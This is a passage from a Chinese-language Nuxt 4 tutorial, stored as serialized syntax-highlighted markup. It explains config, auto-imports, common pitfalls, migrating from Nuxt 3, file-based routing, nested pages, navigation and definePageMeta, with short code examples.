",[331,5298,5299],{"class":365},"'~\u002Fcomponents'",[331,5301,5302],{"class":337},", pathPrefix: ",[331,5304,3193],{"class":344},[331,5306,5307],{"class":337}," }],  ",[331,5309,5310],{"class":1003},"\u002F\u002F 关掉「目录名前缀」\n",[331,5312,5313],{"class":333,"line":456},[331,5314,998],{"emptyLinePlaceholder":997},[331,5316,5317],{"class":333,"line":775},[331,5318,5319],{"class":337},"  nitro: {\n",[331,5321,5322],{"class":333,"line":785},[331,5323,5324],{"class":337},"    prerender: {\n",[331,5326,5327,5330,5332,5335],{"class":333,"line":795},[331,5328,5329],{"class":337},"      crawlLinks: ",[331,5331,1131],{"class":344},[331,5333,5334],{"class":337},",                 ",[331,5336,5337],{"class":1003},"\u002F\u002F 从入口出发顺着链接爬，自动发现要生成的页面\n",[331,5339,5340,5343,5346,5348,5351,5353,5356,5358,5361],{"class":333,"line":805},[331,5341,5342],{"class":337},"      routes: [",[331,5344,5345],{"class":365},"'\u002F'",[331,5347,409],{"class":337},[331,5349,5350],{"class":365},"'\u002Ftools'",[331,5352,409],{"class":337},[331,5354,5355],{"class":365},"'\u002Farticles'",[331,5357,409],{"class":337},[331,5359,5360],{"class":365},"'\u002Ftutorials'",[331,5362,1268],{"class":337},[331,5364,5365],{"class":333,"line":819},[331,5366,1229],{"class":337},[331,5368,5369],{"class":333,"line":850},[331,5370,2916],{"class":337},[331,5372,5373],{"class":333,"line":886},[331,5374,998],{"emptyLinePlaceholder":997},[331,5376,5377,5380,5383,5386,5389,5392],{"class":333,"line":909},[331,5378,5379],{"class":337},"  site: { url: ",[331,5381,5382],{"class":365},"'https:\u002F\u002Fyour-domain.com'",[331,5384,5385],{"class":337},", name: ",[331,5387,5388],{"class":365},"'站名'",[331,5390,5391],{"class":337}," }   ",[331,5393,5394],{"class":1003},"\u002F\u002F sitemap \u002F OG 绝对地址用\n",[331,5396,5397],{"class":333,"line":918},[331,5398,5399],{"class":337},"})\n",[11,5401,5402,5405,5406,5409,5410,4846,5412,5415],{},[22,5403,5404],{},"~"," 别名指向 ",[22,5407,5408],{},"srcDir","（Nuxt 4 里就是 ",[22,5411,4838],{},[22,5413,5414],{},"@@"," 指向项目根目录。",[53,5417,5419],{"id":5418},"自动导入nuxt-最省力也最容易懵的一层","自动导入：Nuxt 最省力也最容易懵的一层",[11,5421,5422,5423,5426,5427,5429],{},"下面这些",[17,5424,5425],{},"不需要 import","，在 ",[22,5428,4838],{}," 里直接写就能用：",[57,5431,5432,5445],{},[60,5433,5434],{},[63,5435,5436,5439,5442],{},[66,5437,5438],{},"类别",[66,5440,5441],{},"例子",[66,5443,5444],{},"规则",[79,5446,5447,5473,5501,5523,5555,5575,5590],{},[63,5448,5449,5452,5467],{},[84,5450,5451],{},"Vue \u002F Vue Router API",[84,5453,5454,272,5456,272,5458,272,5461,272,5464],{},[22,5455,4778],{},[22,5457,4781],{},[22,5459,5460],{},"watch",[22,5462,5463],{},"useRoute",[22,5465,5466],{},"useRouter",[84,5468,5469,5470,5472],{},"自动按需引入（",[22,5471,4648],{}," 手写也行，不会重复）",[63,5474,5475,5478,5498],{},[84,5476,5477],{},"Nuxt 组合式函数",[84,5479,5480,272,5483,272,5486,272,5489,272,5492,272,5495],{},[22,5481,5482],{},"useFetch",[22,5484,5485],{},"useAsyncData",[22,5487,5488],{},"useHead",[22,5490,5491],{},"navigateTo",[22,5493,5494],{},"callOnce",[22,5496,5497],{},"useState",[84,5499,5500],{},"内置",[63,5502,5503,5506,5520],{},[84,5504,5505],{},"编译器宏",[84,5507,5508,272,5511,272,5514,272,5517],{},[22,5509,5510],{},"definePageMeta",[22,5512,5513],{},"defineNuxtRouteMiddleware",[22,5515,5516],{},"defineNuxtPlugin",[22,5518,5519],{},"defineAppConfig",[84,5521,5522],{},"别去 import，它们由编译器在构建时替换",[63,5524,5525,5530,5538],{},[84,5526,5527,5529],{},[22,5528,4654],{}," 的组件",[84,5531,5532,4843,5535],{},[22,5533,5534],{},"AppHeader.vue",[22,5536,5537],{},"\u003CAppHeader>",[84,5539,5540,5541,322,5544,4843,5547,5550,5551,5554],{},"默认",[17,5542,5543],{},"带目录前缀",[22,5545,5546],{},"components\u002Fui\u002FBaseButton.vue",[22,5548,5549],{},"\u003CUiBaseButton>","；用上面 ",[22,5552,5553],{},"pathPrefix: false"," 关掉",[63,5556,5557,5561,5566],{},[84,5558,5559],{},[22,5560,4669],{},[84,5562,5563],{},[22,5564,5565],{},"useDocToc()",[84,5567,5568,5569,1901,5572],{},"文件名里必须是 ",[22,5570,5571],{},"use-xxx",[22,5573,5574],{},"useXxx",[63,5576,5577,5582,5587],{},[84,5578,5579],{},[22,5580,5581],{},"app\u002Futils\u002F",[84,5583,5584],{},[22,5585,5586],{},"formatDate()",[84,5588,5589],{},"无命名限制",[63,5591,5592,5597,5603],{},[84,5593,5594],{},[22,5595,5596],{},"server\u002Futils\u002F",[84,5598,5599,5602],{},[22,5600,5601],{},"useDb()","（仅服务端可用）",[84,5604,5605],{},"服务端自动导入",[11,5607,5608,5611,5612,272,5615,272,5618,5621,5622,5625,5626,5629,5630,5632],{},[17,5609,5610],{},"不会自动导入的","：第三方库（",[22,5613,5614],{},"axios",[22,5616,5617],{},"lodash-es",[22,5619,5620],{},"dayjs","）、你自己的非约定目录（",[22,5623,5624],{},"app\u002Fhelpers\u002F","）、Node 内置模块（",[22,5627,5628],{},"node:fs","，而且只能在 ",[22,5631,4849],{}," 里用）。",[4748,5634],{"height":5635,"src":5636,"title":5637},700,"\u002Ftutorials\u002Fnuxt\u002Fdemos\u002F04-auto-import.html","示例 04：哪些不用 import —— 自动导入边界自测",[53,5639,4796],{"id":5640},"️-本章的坑-1",[11,5642,5643,5649,5650,5652,5653,5656,5657,5660,5661,5664,5665,161],{},[17,5644,5645,5646,161],{},"1. IDE 报 ",[22,5647,5648],{},"Cannot find name 'useFetch'"," 没跑 ",[22,5651,5130],{},"（或 ",[22,5654,5655],{},"npm install"," 后没触发 postinstall）。跑一次即可，",[22,5658,5659],{},".nuxt\u002Ftypes\u002F"," 里就有声明。TS 项目还要确认 ",[22,5662,5663],{},"tsconfig.json"," 是 ",[22,5666,5667],{},"extends \".\u002F.nuxt\u002Ftsconfig.json\"",[11,5669,5670,5676,5677,5680,5681,5683,5684,5686,5687,5690],{},[17,5671,5672,5673,5675],{},"2. ",[22,5674,5663],{}," 指向了错误的 workspace。"," Nuxt 会生成 ",[22,5678,5679],{},".nuxt\u002Ftsconfig.server.json"," 给 ",[22,5682,4849],{}," 用（两套上下文不同：一个有 ",[22,5685,2795],{},"，一个有 ",[22,5688,5689],{},"process","）。把整个项目塞进同一份 tsconfig 里会看到一堆假报错。",[11,5692,5693,5700,5701,4843,5703,5705,5706,161,5709,5712],{},[17,5694,5695,5696,5699],{},"3. 组件目录前缀让 ",[22,5697,5698],{},"\u003CBaseButton>"," 找不到。"," 默认规则是「子目录名会拼进组件名」（",[22,5702,5546],{},[22,5704,5549],{},"）。两种解法：按规则写名字，或配 ",[22,5707,5708],{},"components: [{ path: '~\u002Fcomponents', pathPrefix: false }]",[17,5710,5711],{},"同一项目里选一种，别混","——混用会出现「同名组件被两个来源解析」。",[11,5714,5715,5718,5719,5722,5723,655,5726,5729],{},[17,5716,5717],{},"4. 组件名冲突时静默覆盖。"," 两个不同目录里的同名 ",[22,5720,5721],{},"Card.vue","（关掉前缀后尤其容易），后者赢，且只有一个能用。给基础组件加前缀（",[22,5724,5725],{},"Base",[22,5727,5728],{},"App","\u002F领域名）是根治办法。",[11,5731,5732,268,5741,5743,5744,5746,5747,5749,5750],{},[17,5733,5734,5735,5737,5738,5740],{},"5. 把 ",[22,5736,4852],{}," 当 ",[22,5739,5180],{}," 用。",[22,5742,4852],{}," 里的图片不参与哈希与优化，改文件后浏览器可能拿旧缓存；",[22,5745,5180],{}," 里的被打包且带哈希。反过来把大文件塞进 ",[22,5748,5180],{}," 会让构建变慢。经验：",[17,5751,5752],{},"要缓存指纹的进 assets，直接按路径引用的（favicon、robots.txt、demo）进 public。",[11,5754,5755,5764,5765,5767],{},[17,5756,5757,5758,5760,5761,161],{},"6. 在 ",[22,5759,4838],{}," 里 ",[22,5762,5763],{},"import 'node:fs'"," Nuxt 不会拦你，但运行到服务端上下文之外就炸。需要在服务端读文件的逻辑请放 ",[22,5766,4849],{},"（第七章）。",[11,5769,5770,5776,5777,161],{},[17,5771,5772,5773,5775],{},"7. ",[22,5774,5138],{}," 提交进 git 或手工编辑。"," 那是生成物，随时会被覆盖。要改配置就改 ",[22,5778,4590],{},[11,5780,5781,5788],{},[17,5782,5783,5784,5787],{},"8. ",[22,5785,5786],{},"compatibilityDate"," 忘了设。"," 不设时 Nuxt 会用一个默认日期，未来升级后部分行为默认值改变（例如某些序列化、路由匹配细节）。显式写死它，是「升级不炸」的最低成本保险。",[53,5790,5792],{"id":5791},"附nuxt-3-nuxt-4-迁移对照","附：Nuxt 3 → Nuxt 4 迁移对照",[57,5794,5795,5808],{},[60,5796,5797],{},[63,5798,5799,5802,5805],{},[66,5800,5801],{},"项目",[66,5803,5804],{},"Nuxt 3",[66,5806,5807],{},"Nuxt 4",[79,5809,5810,5831,5842,5873,5885,5902,5914,5924],{},[63,5811,5812,5815,5823],{},[84,5813,5814],{},"源码目录",[84,5816,5817,5818,272,5820,5822],{},"根目录 ",[22,5819,4842],{},[22,5821,4644],{},"…",[84,5824,5825,5826,4839,5828,5149],{},"全部进 ",[22,5827,4838],{},[22,5829,5830],{},"srcDir: 'app\u002F'",[63,5832,5833,5836,5839],{},[84,5834,5835],{},"服务端 \u002F public \u002F content",[84,5837,5838],{},"根目录",[84,5840,5841],{},"不变（仍在根目录）",[63,5843,5844,5847,5859],{},[84,5845,5846],{},"异步数据默认值",[84,5848,5849,5851,5852,5855,5856],{},[22,5850,5482],{}," 无 ",[22,5853,5854],{},"default"," 时给 ",[22,5857,5858],{},"null",[84,5860,5861,5862,5865,5866,5869,5870,5149],{},"需要通过 ",[22,5863,5864],{},"default: () => …"," 显式给（",[22,5867,5868],{},"data"," 初始为 ",[22,5871,5872],{},"undefined",[63,5874,5875,5879,5882],{},[84,5876,5877],{},[22,5878,5497],{},[84,5880,5881],{},"可在组件外调用",[84,5883,5884],{},"必须在 setup 上下文内",[63,5886,5887,5893,5899],{},[84,5888,5889,5890,5892],{},"路由 ",[22,5891,540],{}," 里的 key 前缀、hydration 属性",[84,5894,5895,5898],{},[22,5896,5897],{},"data-v-app"," 等",[84,5900,5901],{},"若干 DOM 细节变化（依赖第三方 CSS 选择器时要注意）",[63,5903,5904,5907,5909],{},[84,5905,5906],{},"升级命令",[84,5908,5122],{},[84,5910,5911],{},[22,5912,5913],{},"npx nuxi@latest upgrade --force",[63,5915,5916,5918,5920],{},[84,5917,5906],{},[84,5919,5122],{},[84,5921,5922],{},[22,5923,5913],{},[63,5925,5926,5929,5931],{},[84,5927,5928],{},"官方 codemod（批量搬目录）",[84,5930,5122],{},[84,5932,5933,5936],{},[22,5934,5935],{},"npx @nuxt\u002Fupgrade-nuxt-4","（或 upgrade 向导里的 move files）",[48,5938,5940],{"id":5939},"三页面与路由文件名就是-url","三、页面与路由：文件名就是 URL",[11,5942,5943,5945,5946,5948,5949,5952,5953,5955],{},[22,5944,4635],{}," 下的 ",[22,5947,3878],{}," 文件会被编译成路由表——",[17,5950,5951],{},"没有单独的路由配置文件需要维护","（背后仍是 Vue Router，",[22,5954,4626],{}," 是 Nuxt 的依赖）。这也是 Nuxt 相比手搭 Vite 项目省掉的最大一块活。",[53,5957,5958],{"id":5958},"路径映射规则",[308,5960,5963],{"className":5961,"code":5962,"language":313},[311],"app\u002Fpages\u002Findex.vue                 →  \u002F\napp\u002Fpages\u002Fabout.vue                 →  \u002Fabout\napp\u002Fpages\u002Fblog\u002Findex.vue            →  \u002Fblog\napp\u002Fpages\u002Fblog\u002F[slug].vue           →  \u002Fblog\u002F:slug            动态段\napp\u002Fpages\u002Fusers\u002F[id]\u002Forders.vue     →  \u002Fusers\u002F:id\u002Forders\napp\u002Fpages\u002Fdocs\u002F[...path].vue        →  \u002Fdocs\u002F*                通配（catch-all）\napp\u002Fpages\u002F(marketing)\u002Fpricing.vue   →  \u002Fpricing               括号目录（分组）不进 URL\napp\u002Fpages\u002Fp\u002F[[id]].vue              →  \u002Fp\u002F:id?                可选参数（双中括号）\n",[22,5964,5962],{"__ignoreMap":314},[11,5966,5967,4839,5970,272,5973,5976],{},[17,5968,5969],{},"分组目录",[22,5971,5972],{},"(admin)\u002F",[22,5974,5975],{},"(marketing)\u002F","）纯粹用来在文件管理器里归类文件，对 URL 无影响；同名的分组可以跨目录合并到同一个父路由。",[53,5978,5980,5981],{"id":5979},"嵌套页面父组件里要写-nuxtpage","嵌套页面：父组件里要写 ",[22,5982,5983],{},"\u003CNuxtPage \u002F>",[11,5985,5986,5987,5993],{},"这是新手最容易卡住的一条：",[17,5988,5989,5990,5992],{},"父级页面模板里没有 ",[22,5991,5983],{},"，子路由就渲染不出来","（不报错，只是空白）。",[308,5995,5999],{"className":5996,"code":5997,"language":5998,"meta":314,"style":314},"language-vue shiki shiki-themes github-dark","\u003C!-- app\u002Fpages\u002Fdashboard.vue：\u002Fdashboard 与 \u002Fdashboard\u002Fanalytics 共用的外壳 -->\n\u003Ctemplate>\n  \u003Cdiv class=\"dash\">\n    \u003Caside>侧边栏（子路由切换时它不会重建）\u003C\u002Faside>\n    \u003CNuxtPage \u002F>          \u003C!-- 子页面渲染在这里 -->\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003C!-- app\u002Fpages\u002Fdashboard\u002Findex.vue → \u002Fdashboard -->\n\u003C!-- app\u002Fpages\u002Fdashboard\u002Fanalytics.vue → \u002Fdashboard\u002Fanalytics -->\n","vue",[22,6000,6001,6006,6015,6032,6047,6060,6068,6076,6080,6085],{"__ignoreMap":314},[331,6002,6003],{"class":333,"line":334},[331,6004,6005],{"class":1003},"\u003C!-- app\u002Fpages\u002Fdashboard.vue：\u002Fdashboard 与 \u002Fdashboard\u002Fanalytics 共用的外壳 -->\n",[331,6007,6008,6010,6013],{"class":333,"line":341},[331,6009,510],{"class":337},[331,6011,6012],{"class":497},"template",[331,6014,505],{"class":337},[331,6016,6017,6019,6022,6025,6027,6030],{"class":333,"line":357},[331,6018,537],{"class":337},[331,6020,6021],{"class":497},"div",[331,6023,6024],{"class":501}," class",[331,6026,518],{"class":337},[331,6028,6029],{"class":365},"\"dash\"",[331,6031,505],{"class":337},[331,6033,6034,6037,6040,6043,6045],{"class":333,"line":371},[331,6035,6036],{"class":337},"    \u003C",[331,6038,6039],{"class":497},"aside",[331,6041,6042],{"class":337},">侧边栏（子路由切换时它不会重建）\u003C\u002F",[331,6044,6039],{"class":497},[331,6046,505],{"class":337},[331,6048,6049,6051,6054,6057],{"class":333,"line":384},[331,6050,6036],{"class":337},[331,6052,6053],{"class":497},"NuxtPage",[331,6055,6056],{"class":337}," \u002F>          ",[331,6058,6059],{"class":1003},"\u003C!-- 子页面渲染在这里 -->\n",[331,6061,6062,6064,6066],{"class":333,"line":397},[331,6063,778],{"class":337},[331,6065,6021],{"class":497},[331,6067,505],{"class":337},[331,6069,6070,6072,6074],{"class":333,"line":418},[331,6071,788],{"class":337},[331,6073,6012],{"class":497},[331,6075,505],{"class":337},[331,6077,6078],{"class":333,"line":427},[331,6079,998],{"emptyLinePlaceholder":997},[331,6081,6082],{"class":333,"line":439},[331,6083,6084],{"class":1003},"\u003C!-- app\u002Fpages\u002Fdashboard\u002Findex.vue → \u002Fdashboard -->\n",[331,6086,6087],{"class":333,"line":450},[331,6088,6089],{"class":1003},"\u003C!-- app\u002Fpages\u002Fdashboard\u002Fanalytics.vue → \u002Fdashboard\u002Fanalytics -->\n",[11,6091,6092],{},"只换子页面时父组件实例被复用（和 Vue Router 的行为一致），这正是「切换 tab 但侧边栏不闪」的实现方式。",[53,6094,6096,6097,5160,6100],{"id":6095},"导航nuxtlink-与-navigateto","导航：",[22,6098,6099],{},"\u003CNuxtLink>",[22,6101,6102],{},"navigateTo()",[308,6104,6106],{"className":5996,"code":6105,"language":5998,"meta":314,"style":314},"\u003Ctemplate>\n  \u003CNuxtLink to=\"\u002Fabout\">关于\u003C\u002FNuxtLink>\n  \u003CNuxtLink :to=\"{ path: '\u002Fblog\u002Fvue3', query: { utm: 'nav' } }\">读一读\u003C\u002FNuxtLink>\n  \u003CNuxtLink to=\"\u002Fblog\" active-class=\"on\" exact-active-class=\"on-exact\">博客\u003C\u002FNuxtLink>\n  \u003CNuxtLink to=\"https:\u002F\u002Fexample.com\" external target=\"_blank\" rel=\"noopener\">站外链接\u003C\u002FNuxtLink>\n  \u003CNuxtLink :custom=\"false\">…\u003C\u002FNuxtLink>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n\u002F\u002F 命令式跳转\nawait navigateTo('\u002Flogin?redirect=' + route.fullPath)      \u002F\u002F 推荐：SSR 期间也能正确发起跳转\n\u002F\u002F router.push('\u002Fx')  仍然可用，但 SSR 阶段请优先 navigateTo\nconst route = useRoute()\nconst router = useRouter()\n\u003C\u002Fscript>\n",[22,6107,6108,6116,6138,6178,6214,6253,6279,6287,6291,6302,6307,6328,6333,6347,6361],{"__ignoreMap":314},[331,6109,6110,6112,6114],{"class":333,"line":334},[331,6111,510],{"class":337},[331,6113,6012],{"class":497},[331,6115,505],{"class":337},[331,6117,6118,6120,6123,6126,6128,6131,6134,6136],{"class":333,"line":341},[331,6119,537],{"class":337},[331,6121,6122],{"class":497},"NuxtLink",[331,6124,6125],{"class":501}," to",[331,6127,518],{"class":337},[331,6129,6130],{"class":365},"\"\u002Fabout\"",[331,6132,6133],{"class":337},">关于\u003C\u002F",[331,6135,6122],{"class":497},[331,6137,505],{"class":337},[331,6139,6140,6142,6144,6146,6149,6151,6154,6157,6160,6163,6166,6169,6171,6174,6176],{"class":333,"line":357},[331,6141,537],{"class":337},[331,6143,6122],{"class":497},[331,6145,2636],{"class":337},[331,6147,6148],{"class":501},"to",[331,6150,518],{"class":337},[331,6152,6153],{"class":365},"\"",[331,6155,6156],{"class":337},"{ path: ",[331,6158,6159],{"class":365},"'\u002Fblog\u002Fvue3'",[331,6161,6162],{"class":337},", query: { utm: ",[331,6164,6165],{"class":365},"'nav'",[331,6167,6168],{"class":337}," } }",[331,6170,6153],{"class":365},[331,6172,6173],{"class":337},">读一读\u003C\u002F",[331,6175,6122],{"class":497},[331,6177,505],{"class":337},[331,6179,6180,6182,6184,6186,6188,6191,6194,6196,6199,6202,6204,6207,6210,6212],{"class":333,"line":371},[331,6181,537],{"class":337},[331,6183,6122],{"class":497},[331,6185,6125],{"class":501},[331,6187,518],{"class":337},[331,6189,6190],{"class":365},"\"\u002Fblog\"",[331,6192,6193],{"class":501}," active-class",[331,6195,518],{"class":337},[331,6197,6198],{"class":365},"\"on\"",[331,6200,6201],{"class":501}," exact-active-class",[331,6203,518],{"class":337},[331,6205,6206],{"class":365},"\"on-exact\"",[331,6208,6209],{"class":337},">博客\u003C\u002F",[331,6211,6122],{"class":497},[331,6213,505],{"class":337},[331,6215,6216,6218,6220,6222,6224,6227,6230,6233,6235,6238,6241,6243,6246,6249,6251],{"class":333,"line":384},[331,6217,537],{"class":337},[331,6219,6122],{"class":497},[331,6221,6125],{"class":501},[331,6223,518],{"class":337},[331,6225,6226],{"class":365},"\"https:\u002F\u002Fexample.com\"",[331,6228,6229],{"class":501}," external",[331,6231,6232],{"class":501}," target",[331,6234,518],{"class":337},[331,6236,6237],{"class":365},"\"_blank\"",[331,6239,6240],{"class":501}," rel",[331,6242,518],{"class":337},[331,6244,6245],{"class":365},"\"noopener\"",[331,6247,6248],{"class":337},">站外链接\u003C\u002F",[331,6250,6122],{"class":497},[331,6252,505],{"class":337},[331,6254,6255,6257,6259,6261,6264,6266,6268,6270,6272,6275,6277],{"class":333,"line":397},[331,6256,537],{"class":337},[331,6258,6122],{"class":497},[331,6260,2636],{"class":337},[331,6262,6263],{"class":501},"custom",[331,6265,518],{"class":337},[331,6267,6153],{"class":365},[331,6269,3193],{"class":344},[331,6271,6153],{"class":365},[331,6273,6274],{"class":337},">…\u003C\u002F",[331,6276,6122],{"class":497},[331,6278,505],{"class":337},[331,6280,6281,6283,6285],{"class":333,"line":418},[331,6282,788],{"class":337},[331,6284,6012],{"class":497},[331,6286,505],{"class":337},[331,6288,6289],{"class":333,"line":427},[331,6290,998],{"emptyLinePlaceholder":997},[331,6292,6293,6295,6297,6300],{"class":333,"line":439},[331,6294,510],{"class":337},[331,6296,891],{"class":497},[331,6298,6299],{"class":501}," setup",[331,6301,505],{"class":337},[331,6303,6304],{"class":333,"line":450},[331,6305,6306],{"class":1003},"\u002F\u002F 命令式跳转\n",[331,6308,6309,6311,6314,6316,6319,6322,6325],{"class":333,"line":456},[331,6310,3286],{"class":616},[331,6312,6313],{"class":501}," navigateTo",[331,6315,966],{"class":337},[331,6317,6318],{"class":365},"'\u002Flogin?redirect='",[331,6320,6321],{"class":616}," +",[331,6323,6324],{"class":337}," route.fullPath)      ",[331,6326,6327],{"class":1003},"\u002F\u002F 推荐：SSR 期间也能正确发起跳转\n",[331,6329,6330],{"class":333,"line":775},[331,6331,6332],{"class":1003},"\u002F\u002F router.push('\u002Fx')  仍然可用，但 SSR 阶段请优先 navigateTo\n",[331,6334,6335,6337,6340,6342,6345],{"class":333,"line":785},[331,6336,951],{"class":616},[331,6338,6339],{"class":344}," route",[331,6341,957],{"class":616},[331,6343,6344],{"class":501}," useRoute",[331,6346,1540],{"class":337},[331,6348,6349,6351,6354,6356,6359],{"class":333,"line":795},[331,6350,951],{"class":616},[331,6352,6353],{"class":344}," router",[331,6355,957],{"class":616},[331,6357,6358],{"class":501}," useRouter",[331,6360,1540],{"class":337},[331,6362,6363,6365,6367],{"class":333,"line":805},[331,6364,788],{"class":337},[331,6366,891],{"class":497},[331,6368,505],{"class":337},[11,6370,6371,6373,6374,6377,6378,6381,6382,6385,6386,6389,6390,6393,6394,6397],{},[22,6372,6099],{}," 相比 ",[22,6375,6376],{},"\u003CRouterLink>"," 多做了几件事：自动给",[17,6379,6380],{},"外链","加 ",[22,6383,6384],{},"target","（配合 ",[22,6387,6388],{},"external","）、默认对站内链接开启",[17,6391,6392],{},"组件与数据预取","（鼠标悬停即预取，点击时数据已在本地）、可写 ",[22,6395,6396],{},"no-prefetch"," 关掉。",[53,6399,6401,6402],{"id":6400},"页面级配置definepagemeta","页面级配置：",[22,6403,5510],{},[11,6405,6406,6407,6409,6410,322],{},"写在页面组件的 ",[22,6408,4775],{}," 顶层，编译器宏，",[17,6411,6412],{},"不要 import",[308,6414,6416],{"className":5996,"code":6415,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\ndefinePageMeta({\n  name: 'blog-detail',           \u002F\u002F 命名路由，便于 { name, params } 跳转\n  layout: 'doc',                 \u002F\u002F 套用 app\u002Flayouts\u002Fdoc.vue；false 表示不用布局\n  middleware: ['auth'],          \u002F\u002F 命名中间件（第十二章）\n  meta: { public: true },         \u002F\u002F 自定义字段，中间件里 to.meta.public 读得到\n  keepAlive: true,               \u002F\u002F 页面级缓存（切走不销毁）\n  keepalive: { max: 5 },         \u002F\u002F 更细的配置写法\n  scrollToTop: true,             \u002F\u002F 进入本页滚到顶部\n  validate: (route) => \u002F^\\d{4}$\u002F.test(route.params.year)   \u002F\u002F 参数不合法直接 404\n})\n\u003C\u002Fscript>\n",[22,6417,6418,6428,6434,6448,6461,6475,6488,6501,6514,6527,6565,6569],{"__ignoreMap":314},[331,6419,6420,6422,6424,6426],{"class":333,"line":334},[331,6421,510],{"class":337},[331,6423,891],{"class":497},[331,6425,6299],{"class":501},[331,6427,505],{"class":337},[331,6429,6430,6432],{"class":333,"line":341},[331,6431,5510],{"class":501},[331,6433,1250],{"class":337},[331,6435,6436,6439,6442,6445],{"class":333,"line":357},[331,6437,6438],{"class":337},"  name: ",[331,6440,6441],{"class":365},"'blog-detail'",[331,6443,6444],{"class":337},",           ",[331,6446,6447],{"class":1003},"\u002F\u002F 命名路由，便于 { name, params } 跳转\n",[331,6449,6450,6453,6456,6458],{"class":333,"line":371},[331,6451,6452],{"class":337},"  layout: ",[331,6454,6455],{"class":365},"'doc'",[331,6457,5334],{"class":337},[331,6459,6460],{"class":1003},"\u002F\u002F 套用 app\u002Flayouts\u002Fdoc.vue；false 表示不用布局\n",[331,6462,6463,6466,6469,6472],{"class":333,"line":384},[331,6464,6465],{"class":337},"  middleware: [",[331,6467,6468],{"class":365},"'auth'",[331,6470,6471],{"class":337},"],          ",[331,6473,6474],{"class":1003},"\u002F\u002F 命名中间件（第十二章）\n",[331,6476,6477,6480,6482,6485],{"class":333,"line":397},[331,6478,6479],{"class":337},"  meta: { public: ",[331,6481,1131],{"class":344},[331,6483,6484],{"class":337}," },         ",[331,6486,6487],{"class":1003},"\u002F\u002F 自定义字段，中间件里 to.meta.public 读得到\n",[331,6489,6490,6493,6495,6498],{"class":333,"line":418},[331,6491,6492],{"class":337},"  keepAlive: ",[331,6494,1131],{"class":344},[331,6496,6497],{"class":337},",               ",[331,6499,6500],{"class":1003},"\u002F\u002F 页面级缓存（切走不销毁）\n",[331,6502,6503,6506,6509,6511],{"class":333,"line":427},[331,6504,6505],{"class":337},"  keepalive: { max: ",[331,6507,6508],{"class":344},"5",[331,6510,6484],{"class":337},[331,6512,6513],{"class":1003},"\u002F\u002F 更细的配置写法\n",[331,6515,6516,6519,6521,6524],{"class":333,"line":439},[331,6517,6518],{"class":337},"  scrollToTop: ",[331,6520,1131],{"class":344},[331,6522,6523],{"class":337},",             ",[331,6525,6526],{"class":1003},"\u002F\u002F 进入本页滚到顶部\n",[331,6528,6529,6532,6535,6538,6540,6542,6545,6547,6550,6553,6555,6557,6559,6562],{"class":333,"line":450},[331,6530,6531],{"class":501},"  validate",[331,6533,6534],{"class":337},": (",[331,6536,6537],{"class":2472},"route",[331,6539,3180],{"class":337},[331,6541,1489],{"class":616},[331,6543,6544],{"class":365}," \u002F",[331,6546,1170],{"class":616},[331,6548,6549],{"class":344},"\\d",[331,6551,6552],{"class":616},"{4}$",[331,6554,655],{"class":365},[331,6556,1192],{"class":337},[331,6558,1195],{"class":501},[331,6560,6561],{"class":337},"(route.params.year)   ",[331,6563,6564],{"class":1003},"\u002F\u002F 参数不合法直接 404\n",[331,6566,6567],{"class":333,"line":456},[331,6568,5399],{"class":337},[331,6570,6571,6573,6575],{"class":333,"line":775},[331,6572,788],{"class":337},[331,6574,891],{"class":497},[331,6576,505],{"class":337},[11,6578,6579,6582,6583,6586],{},[22,6580,6581],{},"validate"," 是很划算的一个字段：一个函数就能把 ",[22,6584,6585],{},"\u002Fblog\u002F2026-abcd"," 这种脏 URL 变成干净的 404，而不是让页面组件去处理空数据。",[4748,6588],{"height":6589,"src":6590,"title":6591},760,"\u002Ftutorials\u002Fnuxt\u002Fdemos\u002F03-file-routing.html","示例 03：文件路径 ⇄ URL 双向查询与练习",[11,6593,6594,6595,6598,6599,6602],{},"示例 03 上半部分是真的规则引擎（输入 ",[22,6596,6597],{},"blog\u002F[slug].vue"," 就出 ",[22,6600,6601],{},"\u002Fblog\u002F:slug","），下半部分是五道反向练习题。",[53,6604,4796],{"id":6605},"️-本章的坑-2",[11,6607,6608,6613,6614,6616,6617,4813],{},[17,6609,6610,6611,161],{},"1. 父页面忘写 ",[22,6612,5983],{}," 子路由一片空白，控制台干净。排查顺序：父组件模板 → 子文件是否在 ",[22,6615,4842],{}," 下（不是 ",[22,6618,6619],{},"views\u002F",[11,6621,6622,6630,6631,6634,6635,6638,6639,6642,6643,6645,6646,6649,6650,6653,6654,6656,6657,6660],{},[17,6623,5672,6624,6626,6627,6629],{},[22,6625,4635],{}," 下所有 ",[22,6628,3878],{}," 都会变成路由。"," 你随手放的 ",[22,6632,6633],{},"README.vue","、误建在 ",[22,6636,6637],{},"app\u002Fpages\u002Fcomponents\u002FCard.vue"," 的组件，都会生成一个可被访问的页面（",[22,6640,6641],{},"\u002Fcomponents\u002Fcard","）。非页面组件请一律放 ",[22,6644,4654],{},"；只想给某个页面用的私有组件，放 ",[22,6647,6648],{},"app\u002Fcomponents\u002F\u003C页面名>\u002F"," 下（例如 ",[22,6651,6652],{},"app\u002Fcomponents\u002Farticle\u002FCommentBox.vue","），别留在 ",[22,6655,4842],{}," 里。若要依赖「以 ",[22,6658,6659],{},"-"," 开头的文件被忽略」这类规则，请先在你的 Nuxt 版本上实测确认再生效。",[11,6662,6663,6672,6673,6675,6676,6678],{},[17,6664,6665,6666,5160,6668,6671],{},"3. ",[22,6667,5491],{},[22,6669,6670],{},"router.push"," 混用。"," 服务端渲染阶段（比如中间件里）要用 ",[22,6674,6102],{},"——它会把跳转变成一次真正的 HTTP 重定向；",[22,6677,6670],{}," 在 SSR 阶段没有意义。",[11,6680,6681,268,6684,6687,6688,6691,6692,6694,6695,6698,6699,4839,6702,6705],{},[17,6682,6683],{},"4. 动态段参数是字符串。",[22,6685,6686],{},"route.params.id"," 拿到 ",[22,6689,6690],{},"'42'","，直接参与 ",[22,6693,2625],{}," 比较或算术就有类型问题。要数字就在跳转处传数字、在页面里 ",[22,6696,6697],{},"Number(route.params.id)","，或用 ",[22,6700,6701],{},"props: true",[22,6703,6704],{},"definePageMeta({ props: true })","）让 Nuxt 转成组件 props 后声明类型。",[11,6707,6708,6715,6716,6719,6720,5664,6723,6726],{},[17,6709,6710,6711,6714],{},"5. 通配路由 ",[22,6712,6713],{},"[...path].vue"," 会吃掉所有子路径。"," 它必须能处理「参数为空」的情况（",[22,6717,6718],{},"\u002Fdocs"," 本身命中时 